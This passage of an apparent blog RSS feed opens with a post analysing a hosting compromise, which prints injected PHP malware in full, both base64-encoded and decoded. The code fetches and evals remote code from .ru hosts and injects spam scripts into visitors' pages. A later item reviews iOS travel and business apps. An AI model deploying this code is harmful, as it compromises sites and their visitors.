RzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPWJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDJWdWN6RXlNbnA2ZW1Sa1lYcDZMbU52YlM4PScpOyAkX1NFUlZFUlsnc19hMSddPWJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDNkM2R5NWpiMjl3WlhKcWMzVjBaamd1Y25VdloxOXNiMkZrTG5Cb2NBPT0nKS4kZDsgJF9TRVJWRVJbJ3NfYTInXT1iYXNlNjRfZGVjb2RlKCdhSFIwY0RvdkwzZDNkeTV0Y25OdGRHbG9hVzVtYnk1eWRTOW5YMnh2WVdRdWNHaHcnKS4kZDsgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibmwucGhwP3A9ZCI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9Cg==&#8221;));?&gt;</p>
</blockquote>
<p>This script translated below shows that the script references ~/.logs for a file that pulls a list of sites that are redirected to for spam and linkbait:</p>
<blockquote><p>if(function_exists(&#8216;ob_start&#8217;)&amp;&amp;!isset($_SERVER['mr_no'])){  $_SERVER['mr_no']=1;    if(!function_exists(&#8216;mrobh&#8217;)){    function get_tds_777($url){$content=&#8221;";$content=@trycurl_777($url);if($content!==false)return $content;$content=@tryfile_777($url);if($content!==false)return $content;$content=@tryfopen_777($url);if($content!==false)return $content;$content=@tryfsockopen_777($url);if($content!==false)return $content;$content=@trysocket_777($url);if($content!==false)return $content;return &#8221;;}  function trycurl_777($url){if(function_exists(&#8216;curl_init&#8217;)===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result==&#8221;")return false;return $result;}  function tryfile_777($url){if(function_exists(&#8216;file&#8217;)===false)return false;$inc=@file($url);$buf=@implode(&#8221;,$inc);if ($buf==&#8221;")return false;return $buf;}  function tryfopen_777($url){if(function_exists(&#8216;fopen&#8217;)===false)return false;$buf=&#8221;;$f=@fopen($url,&#8217;r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf==&#8221;")return false;return $buf;}  function tryfsockopen_777($url){if(function_exists(&#8216;fsockopen&#8217;)===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].&#8217;?&#8217;.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request =&#8221;GET $uri HTTP/1.0\n&#8221;;$request.=&#8221;Host: $host\n\n&#8221;;fwrite($f,$request);$buf=&#8221;;while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf==&#8221;")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}  function trysocket_777($url){if(function_exists(&#8216;socket_create&#8217;)===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].&#8217;?&#8217;.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request =&#8221;GET $uri HTTP/1.0\n&#8221;;$request.=&#8221;Host: $host\n\n&#8221;;socket_write($sock,$request);$buf=&#8221;;while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf==&#8221;")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}  function update_tds_file_777($tdsfile){$actual1=$_SERVER['s_a1'];$actual2=$_SERVER['s_a2'];$val=get_tds_777($actual1);if ($val==&#8221;")$val=get_tds_777($actual2);$f=@fopen($tdsfile,&#8221;w&#8221;);if ($f){@fwrite($f,$val);@fclose($f);}if (strstr($val,&#8221;|||CODE|||&#8221;)){list($val,$code)=explode(&#8220;|||CODE|||&#8221;,$val);eval(base64_decode($code));}return $val;}  function get_actual_tds_777(){$defaultdomain=$_SERVER['s_d1'];$dir=$_SERVER['s_p1'];$tdsfile=$dir.&#8221;log1.txt&#8221;;if (@file_exists($tdsfile)){$mtime=@filemtime($tdsfile);$ctime=time()-$mtime;if ($ctime&gt;$_SERVER['s_t1']){$content=update_tds_file_777($tdsfile);}else{$content=@file_get_contents($tdsfile);}}else{$content=update_tds_file_777($tdsfile);}$tds=@explode(&#8220;\n&#8221;,$content);$c=@count($tds)+0;$url=$defaultdomain;if ($c&gt;1){$url=trim($tds[mt_rand(0,$c-2)]);}return $url;}  function is_mac_777($ua){$mac=0;if (stristr($ua,&#8221;mac&#8221;)||stristr($ua,&#8221;safari&#8221;))if ((!stristr($ua,&#8221;windows&#8221;))&amp;&amp;(!stristr($ua,&#8221;iphone&#8221;)))$mac=1;return $mac;}  function is_msie_777($ua){$msie=0;if (stristr($ua,&#8221;MSIE 6&#8243;)||stristr($ua,&#8221;MSIE 7&#8243;)||stristr($ua,&#8221;MSIE 8&#8243;)||stristr($ua,&#8221;MSIE 9&#8243;))$msie=1;return $msie;}    function setup_globals_777(){$rz=$_SERVER["DOCUMENT_ROOT"].&#8221;/.logs/&#8221;;$mz=&#8221;/tmp/&#8221;;if (!is_dir($rz)){@mkdir($rz);if (is_dir($rz)){$mz=$rz;}else{$rz=$_SERVER["SCRIPT_FILENAME"].&#8221;/.logs/&#8221;;if (!is_dir($rz)){@mkdir($rz);if (is_dir($rz)){$mz=$rz;}}else{$mz=$rz;}}}else{$mz=$rz;}$bot=0;$ua=$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,&#8221;msnbot&#8221;)||stristr($ua,&#8221;Yahoo&#8221;))$bot=1;if (stristr($ua,&#8221;bingbot&#8221;)||stristr($ua,&#8221;google&#8221;))$bot=1;$msie=0;if (is_msie_777($ua))$msie=1;$mac=0;if (is_mac_777($ua))$mac=1;if (($msie==0)&amp;&amp;($mac==0))$bot=1;  global $_SERVER;    $_SERVER['s_p1']=$mz;  $_SERVER['s_b1']=$bot;  $_SERVER['s_t1']=1200;  $_SERVER['s_d1']=base64_decode(&#8216;aHR0cDovL2VuczEyMnp6emRkYXp6LmNvbS8=&#8217;); $_SERVER['s_a1']=base64_decode(&#8216;aHR0cDovL3d3dy5jb29wZXJqc3V0ZjgucnUvZ19sb2FkLnBocA==&#8217;).$d; $_SERVER['s_a2']=base64_decode(&#8216;aHR0cDovL3d3dy5tcnNtdGloaW5mby5ydS9nX2xvYWQucGhw&#8217;).$d; $d=&#8217;?d=&#8217;.urlencode($_SERVER["HTTP_HOST"]).&#8221;&amp;p=&#8221;.urlencode($_SERVER["PHP_SELF"]).&#8221;&amp;a=&#8221;.urlencode($_SERVER["HTTP_USER_AGENT"]);   $_SERVER['s_script']=&#8221;nl.php?p=d&#8221;;  }      setup_globals_777();    if(!function_exists(&#8216;gml_777&#8242;)){  function gml_777(){    $r_string_777=&#8221;;  if ($_SERVER['s_b1']==0)$r_string_777=&#8217;&lt;script src=&#8221;&#8216;.get_actual_tds_777().$_SERVER['s_script'].&#8217;&#8221;&gt;&lt;/script&gt;&#8217;;  return $r_string_777;  }  }      if(!function_exists(&#8216;gzdecodeit&#8217;)){  function gzdecodeit($decode){  $t=@ord(@substr($decode,3,1));  $start=10;  $v=0;  if($t&amp;4){  $str=@unpack(&#8216;v&#8217;,substr($decode,10,2));  $str=$str[1];  $start+=2+$str;  }  if($t&amp;8){  $start=@strpos($decode,chr(0),$start)+1;  }  if($t&amp;16){  $start=@strpos($decode,chr(0),$start)+1;  }  if($t&amp;2){  $start+=2;  }  $ret=@gzinflate(@substr($decode,$start));  if($ret===FALSE){  $ret=$decode;  }  return $ret;  }  }  function mrobh($content){  @Header(&#8216;Content-Encoding: none&#8217;);  $decoded_content=gzdecodeit($content);  if(preg_match(&#8216;/\&lt;\/body/si&#8217;,$decoded_content)){  return preg_replace(&#8216;/(\&lt;\/body[^\&gt;]*\&gt;)/si&#8217;,gml_777().&#8221;\n&#8221;.&#8217;$1&#8242;,$decoded_content);  }else{  return $decoded_content.gml_777();  }  }  ob_start(&#8216;mrobh&#8217;);  }  }</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://geekyschmidt.com/2012/03/12/dreamhost-was-hacked/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iOS Apps for Business Owners and Travelers</title>
		<link>http://geekyschmidt.com/2012/01/15/ios-apps-for-business-owners-and-travelers</link>
		<comments>http://geekyschmidt.com/2012/01/15/ios-apps-for-business-owners-and-travelers#comments</comments>
		<pubDate>Sun, 15 Jan 2012 17:15:04 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[SpecOpsTechnology]]></category>
		<category><![CDATA[Techie]]></category>
		<category><![CDATA[apps]]></category>
		<category><![CDATA[international]]></category>
		<category><![CDATA[ios]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://geekyschmidt.com/?p=1938</guid>
		<description><![CDATA[<p>I think I was one of the first to carry around a smartphone. I remember the marriage of a phone and PDA made me so excited and to see that technology in a single device&#8230;phew&#8230;love. The Treo 180 was severely limited, but it brought to the world an idea that phones were for more than phone calls. [...]]]></description>
				<content:encoded><![CDATA[<p>I think I was one of the first to carry around a smartphone. I remember the marriage of a phone and PDA made me so excited and to see that technology in a single device&#8230;phew&#8230;love. The Treo 180 was severely limited, but it brought to the world an idea that phones were for more than phone calls. Fast forward a decade and now I can run the entire company from a smart phone. Out of all the travel gadgets I carry, my smart phone is the one most necessary. I wanted to run through my favorite apps that make it happen.</p>
<h3>Home Screen:</h3>
<p><img class="alignleft  wp-image-1939" style="border-width: 4px; border-color: black; border-style: solid; margin: 4px;" title="IMG_0032" src="http://geekyschmidt.com/wp-content/uploads/2012/01/IMG_0032.png" alt="" width="307" height="461" /></p>
<p>I use a few apps more than others. Those sit on my Home Screen for quick and easy access.</p>
<p><strong><a href="http://itunes.apple.com/us/app/talkatone-free-calls-sms-texting/id397648381?mt=8" target="_blank">Talkatone</a>: </strong>This app makes utilizing my Google Voice number abroad simple and free on wifi. The premium feature to use their compression (speex if you are curious) is well worth the 20 dollars. For an international traveler or someone watching their minutes usage it is a godsend.</p>
<p><strong><a href="http://itunes.apple.com/us/app/bbc-news/id364147881?mt=8" target="_blank">BBC News:</a> </strong>For quick easy access to the top news the BBC is hard to beat. In addition the streaming option built-in to the app lets me shower in whatever hotel room to the sound of English Speaking news.</p>
<p><strong><a href="http://itunes.apple.com/us/app/reeder/id325502379?mt=8" target="_blank">Reeder:</a> </strong>I use this app on my iPhone, iPad, and Macbook Air. It is my primary source for catching up on the 100&#8242;s of RSS feeds I read daily. Our business advantage at <a href="http://specopstechnology.com">Spec Ops</a> is the constant monitoring of whats new on the market. Reeder helps me do that by quickly downloading and caching my feeds for consumption in a taxi, metro, or airplane.</p>
<p><strong><a href="http://itunes.apple.com/us/app/omnifocus-for-iphone/id284885288?mt=8" target="_blank">OmniFocus:</a> </strong>With multiple customers, countries, and teams OmniFocus allows me to keep everything on target. The simple reminders app bundled with iOS is too limiting for these type of exercises. I wish the app was cheaper, but the sync for all my devices makes it worth it for the hardcore task list utilizer.</p>
<p><strong><a href="http://itunes.apple.com/us/app/gv-connect-call-sms-client/id347835665?mt=8" target="_blank">GV Connect:</a> </strong>The Google Voice app for the iPhone stinks. GV Connect provides more options and more control of the experience. The only downfall is lack of push notifications. Sure you can make it happen, but its a tech nightmare. All that said it offers a consistent experience on the iPad and iPhone and integrates with Talkatone for true wifi integration.</p>
<h3>Productivity:</h3>
<p><img class="alignleft  wp-image-1940" style="border-image: initial; border-width: 4px; border-color: black; border-style: solid; margin: 4px;" title="IMG_0035" src="http://geekyschmidt.com/wp-content/uploads/2012/01/IMG_0035.png" alt="" width="307" height="461" /></p>
<p><strong><a href="http://itunes.apple.com/us/app/vuescan-mobile/id450984682?mt=8" target="_blank">VueScan:</a> </strong>Sure AirPrint is nice, but most of the time I need to scan rather than print. VueScan does auto-discovery of many scanners via Wifi and performs well for both document feeders and flatbed. Works great for capturing that recent contract signing or bill.</p>
<p><strong><a href="http://itunes.apple.com/us/app/documents-to-go-premium-office/id317107309?mt=8" target="_blank">DocsToGo:</a> </strong>It is far from perfect for Office documents, but its the best I have found. It is a horrible application for production of things, but it is the only viewer I have found to correctly decipher powerpoint slides or excel spreadsheets. The Google Docs integration is great for using our central document store in the company.</p>
<p><strong><a href="http://itunes.apple.com/us/app/winmail.dat-viewer-letter/id395502240?mt=8" target="_blank">Letter Opener:</a> </strong>I hate you with every fiber of my body Outlook. Without a complex registry hack the default position of this stupid program is to include the dreaded winmail.dat file. Letter Opener takes care of those few times a week I receive these attachements from folks.</p>
<p><strong><a href="http://itunes.apple.com/us/app/skype/id304878510?mt=8" target="_blank">Skype</a>:</strong> I use it for video and voice chatting with family and friends. We also use it internally to the company for PBX-like functions. The iOS version is actually a nice client compared to the desktop versions.</p>
<p><strong><a href="http://itunes.apple.com/us/app/merlin-project-management/id308324272?mt=8" target="_blank">Projects</a>: </strong>Merlin allows you to open Microsoft Project files on a Mac. I find its a better and easier solution than the OmniPlan product that seems so popular. I wish they didn&#8217;t nickel and dime for add-ons like mobile or web support, but I find the tool invaluable in keeping project plans updated.</p>
<p><strong><a href="http://itunes.apple.com/us/app/cisco-webex-meeting-center/id298844386?mt=8" target="_blank">WebEx</a>: </strong>The best mobile conferencing solution for teleconferencing. The application is well integrated and upon clicking a link from a meeting invitation opens up and joins the conference. Performance over 3g is acceptable enough for talking and viewing the charts or presenters screen.</p>
<p><strong><a href="http://itunes.apple.com/us/app/spideroak/id360584371?mt=8" target="_blank">SpiderOak</a>:</strong> People love some Dropbox, but for those of you security conscious there is no reason you should be. SpiderOak is less seamless and the sync process ugly, but once it is setup the dump files into a folder and sync mentality works fine. The mobile client just BARELY passes into usable for things, but it has saved my bacon for pulling some archived file from 4 years ago so I keep it loaded.</p>
<h3>Finance:</h3>
<p><img class="alignleft  wp-image-1941" style="border-image: initial; border-width: 4px; border-color: black; border-style: solid; margin: 4px;" title="IMG_0036" src="http://geekyschmidt.com/wp-content/uploads/2012/01/IMG_0036.png" alt="" width="307" height="461" /></p>
<p><a href="http://itunes.apple.com/us/app/quickbooks-mobile/id393232373?mt=8" target="_blank"><strong>QuickBooks</strong></a>: For living in the cloud and being able to get a snapshot of your company anywhere in the world, QuickBooks is hard to beat. The reports on the mobile version are limited, but for seeing outstanding invoices, payroll, or P/L ratio from your mobile device it comes highly recommended.</p>
<p><a href="http://itunes.apple.com/us/app/e-trade-mobile-pro/id313259740?mt=8" target="_blank"><strong>E*Trade:</strong></a> Simple app for access to their banking and trading features. Nothing to knock your socks off.</p>
<p><a href="http://itunes.apple.com/us/app/mint.com-personal-finance/id300238550?mt=8" target="_blank"><strong>Mint.com</strong></a>: Personal finance on the go is as important as the business side. Mint lets me see cash-flow and bills in my personal realm. The ability to sort expenses and see when things hit make managing my money abroad no problem. Great little app.</p>
<p><a href="http://itunes.apple.com/us/app/expensify-expense-reports/id306670109?mt=8" target="_blank"><strong>Expensify</strong></a>: How much do I love this app&#8230; Receipts tucked into your wallet is for the birds. Expensify&#8217;s mobile app lets me take a snapshot offline or online and upload it to my most recent travel report. It has changed the way our company has managed the extensive worldwide travel. Why this isn&#8217;t in use by every major company is beyond me.</p>
<p><strong><a href="http://itunes.apple.com/us/app/usaa-mobile/id312325565?mt=8" target="_blank">USAA</a></strong>: Love this app more than Expensify. Insurance, banking, investments, bill payment all from a simple to use app. Being able to deposit checks anywhere in the world is icing on the cake. This app is what all banking apps should strive for. USAA checking and savings no longer requires military service so if you are considering moving banks, recommend highly you consider USAA.</p>
<p><strong><a href="http://itunes.apple.com/us/app/bank-america-mobile-banking/id284847138?mt=8" target="_blank">Bank of America:</a></strong> What a difference compared to USAA. We use this for our business banking (as USAA has no business accounts) and frankly I avoid it like the plague. App is limited and ugly, hard to navigate, and really we use</p>
<h3></h3>
<h3>Travel:</h3>
<p><img class="alignleft  wp-image-1942" style="border-image: initial; border-width: 4px; border-color: black; border-style: solid; margin: 4px;" title="IMG_0034" src="http://geekyschmidt.com/wp-content/uploads/2012/01/IMG_0034.png" alt="" width="307" height="461" /></p>
<p><a href="http://itunes.apple.com/us/app/tripit-travel-organizer-free/id311035142?mt=8" target="_blank"><strong>TripIt: </strong></a>Internally to the company we use TripIt to determine where the hell everyone is at. With autoimport and the ability to simply forward things to plans@tripit.com our team is able to get a view of where everyone is at. In addition the app lets you check flight status or get directions to the hotel/train/etc. Great app, but it is upsetting that paid TripIt accounts does not translate into no ads in the application.</p>
<p><strong><a href="http://itunes.apple.com/us/app/yelp/id284910350?mt=8" target="_blank">Yelp</a>: </strong>When you are all over the place its hard to figure out where to eat. Yelp works well enough for big European cities and the US, but falls flat in rural anywhere. All the same its good for when you grow tired of the 2 restaurants near the hotel or the ones you ate at last time you were there.</p>
<p><strong><a href="http://itunes.apple.com/us/app/boingo-wi-fi-credits/id356113225?mt=8" target="_blank">Boingo</a>: </strong>I avoid airports without free Wifi. The idea that I have to pay 10 EURO or USD an hour to surf at limited speeds is evil. With that said there are airport hubs like Munich and Frankfurt that force it. Boingo mobile is cheaper and I can be assured that the 10 USD I spend will transfer to other places unlike T-mobile&#8217;s German wifi credits.</p>
<p><strong><a href="http://itunes.apple.com/us/app/navigon-north-america/id321506742?mt=8" target="_blank">Navigon</a>: </strong>Offline GPS that works! Data is too expensive to use it finding directions. Navigon at one point was cheap, but is now pretty expensive. With that said it works great and has an extensive map collection (if you shell the dollars out) that covers most of the places I go. Still can&#8217;t wrap my head around why European maps are 119.99 dollars vs. 59.99 for the much more extensive US, but oh well. It can be a little confusing for entering POI and address, but once you are over the learning curve its usable.</p>
<p><strong><a href="http://itunes.apple.com/us/app/kayak-flights-hotels-rental/id305204535?mt=8" target="_blank">Kayak</a>: </strong>Love me some Kayak! Its flexible search criteria and multiple vendors pricing makes finding the cheapest tickets easy and quick. App is perfect for finding an alternate flight when you are in Dubai and need to get home or to your next meeting.</p>
<p><strong><a href="http://itunes.apple.com/us/app/skype-wifi/id444529922?mt=8" target="_blank">Skype Wifi</a>: </strong>Wifi credits for those few places that Boingo doesn&#8217;t cover. I alternate between these two Wifi apps as the Skype credits are more expensive, but also transfer to my laptop.</p>
<p><a href="http://itunes.apple.com/us/app/opentable/id296581815?mt=8" target="_blank"><strong>OpenTable: </strong></a>Reservations on the go. This will sound incredibly anti-social, but there are times I don&#8217;t want to talk to someone. Business meeting for a 4 booked while walking to the metro station.</p>
<p><strong><a href="http://itunes.apple.com/us/app/xe-currency/id315241195?mt=8" target="_blank">XE Currency</a>: </strong>How much is that hotel really? Is the price in Euro&#8217;s or Pounds more than the USD price? It has saved me a few bucks by helping me sanity check stores and venues. Converts quickly and allows for historical looks at exchange rates for expense reports.</p>
<p><strong><a href="http://itunes.apple.com/us/app/orbitz-flights-hotels-cars/id403546234?mt=8" target="_blank">Orbitz</a>: </strong>Sometimes Kayak is tough to drill down and book a flight with. Orbitz abstracts away those problems and makes it easy to build a travel package (car, hotel, flight) without much work. Okay app, but very clunky and for lots of features just dumps you to their mobile website.</p>
<h3>Transportation:</h3>
<p><a href="http://geekyschmidt.com/wp-content/uploads/2012/01/IMG_0033.png" rel="lightbox[1938]"><img class="alignleft  wp-image-1943" style="border-image: initial; border-width: 4px; border-color: black; border-style: solid; margin: 4px;" title="IMG_0033" src="http://geekyschmidt.com/wp-content/uploads/2012/01/IMG_0033.png" alt="" width="307" height="461" /></a></p>
<p>I have to seperate these apps out of the Travel folder as iOS limits the number I can place in each. The jailbreak hack to get around that seems to be buggy so I just move apps related to transportation here. When I go to other countries I will load up the France, UK, etc. versions, but for now this is what I am using.</p>
<p><strong><a href="http://itunes.apple.com/us/app/fahrinfo-berlin/id284971745?mt=8" target="_blank">Fahrinfo</a>: </strong>Out of the two German train apps listed in this folder, Fahrinfo is far superior. The app is more intuitive and English friendly. This is possibly due to the fact there are more english speakers in Berlin.</p>
<p><strong><a href="http://itunes.apple.com/us/app/navi-s-bahn-munchen/id453714981?mt=8" target="_blank">Navi S-Bahn Munchen:</a> </strong>The train system in Munich is pretty spiffy, but the schedules and announcements are not English friendly. This app helps me learn about train delays or track closures.</p>
<p><strong><a href="http://itunes.apple.com/us/app/infomaps-railway-nl/id401451516?mt=8" target="_blank">Railway NL:</a> </strong>The app is pretty to look at and does its job, but you better speak Dutch. There is no translation of this app into English despite the App Store description being in English. If you are riding the train in the Netherlands this is a must have.</p>
<p><strong><a href="http://itunes.apple.com/us/app/klm/id391732065?mt=8" target="_blank">KLM:</a> </strong>Meh is how I feel about this app. It works for tracking miles on my account, trips, and bookings. The app works and is at the very least makes my mad dashes through Schiphol well planned. In the end its MUCH better than the United app listed next.</p>
<p><strong><a href="http://itunes.apple.com/us/app/united-airlines/id449945214?mt=8" target="_blank">United:</a> </strong>What a cluster frack of a GUI. The app allows you to setup alerts and check-in, but heaven forbid there is a problem. The buttons are difficult to hit with a finger and the gimmicky animations just slow down what is a desired quick information dump. The merger has been unfriendly to the airline and in addition the app.</p>
<p><strong><a href="http://itunes.apple.com/us/app/parkmobile/id365399299?mt=8" target="_blank">Parkmobile</a>: </strong>I don&#8217;t carry money anymore. The idea of a pocket full of rattling coins doesn&#8217;t work for me. This app has changed the way I park in DC. With its ability to auto alert me of my soon to end parking payment I am able to skip the standard DC 25 USD ticket and just add time. The Find My Car is a neat feature too for those times you have wandered a little too far from what you know. Works in multiple US cities around the country.</p>
<p><strong><a href="http://itunes.apple.com/us/app/amtrak/id405074003?mt=8" target="_blank">Amtrak</a>: </strong>I rarely use Amtrak due to it sucking wind, but I do like to compare fares when deciding if its going to be plane, train, or automobile. I will shy away from comparisons with the European train system (cheaper, faster, reliable, etc.) and instead say the app is pretty nice. It is well organized and easy to get to the information you need on booking a train. Still very limited for eTickets, but as I understand that feature is expanding to new sites soon.</p>
<p><strong><a href="http://itunes.apple.com/us/app/tunnels-dc/id401645789?mt=8" target="_blank">Tunnels DC:</a> </strong>There are tons of DC Metro apps, but this one is the nicest of the bunch. The alerts, favorite locations, and ability to see when the next few trains are due to arrive is instrumental in planning your day around the city.</p>
<p><strong><a href="http://itunes.apple.com/us/app/swiss/id343038584?mt=8" target="_blank">SWISS:</a> </strong>I find the app ugly in appearance, but multilingual and quick to navigate. The mobile boarding passes work as described and it allows you to receive trip and flight status updates. Nothing to write home about.</p>
<p><strong><a href="http://itunes.apple.com/us/app/lufthansa/id299219152?mt=8" target="_blank">Lufthansa</a>: </strong>Airlines need to hire whoever developed this app ASAP. It is pretty on the eyes and useable. The functions are limited (check-in and mobile passes only) but with each new release expanding.</p>
<h3>Personal:</h3>
<p>These are apps that are not business related, but keep me sane and plugged in. Listed to round-out the list:</p>
<p><a href="http://itunes.apple.com/us/app/jetpack-joyride/id457446957?mt=8" target="_blank"><strong>JetPack Joyride:</strong></a> Love this stinking game. The translation from iPad to iPhone is seamless.</p>
<p><strong><a href="http://itunes.apple.com/us/app/rdio/id335060889?mt=8" target="_blank">Rdio</a>: </strong>Limited, sucky, and to the point I am going to switch to Spotify. Works well enough, but unimpressive.</p>
<p><strong><a href="http://itunes.apple.com/us/app/pandora-radio/id284035177?mt=8" target="_blank">Pandora</a>: </strong>Love the app and service.</p>
<p><strong><a href="http://itunes.apple.com/us/app/flight-control/id306220440?mt=8" target="_blank">Flight Control:</a> </strong>Fun game that seems appropriate to play while flying. Hope the ATC in real life are better at this than me.</p>
<p><a href="http://itunes.apple.com/us/app/facebook/id284882215?mt=8" target="_blank"><strong>Facebook</strong></a>: Buggy and limited, but it gives you access to the majority of the functions the website does. For keeping in touch around the world its wonderful.</p>
<p><a href="http://itunes.apple.com/us/app/linkedin/id288429040?mt=8" target="_blank"><strong>LinkedIn</strong></a>: For professional engagements and resume searching it is pretty spiffy. I am not a big fan of the UI, but for answering messages and connecting with business folks its good enough. The import of contract information into your iphone address book is a great addition.</p>
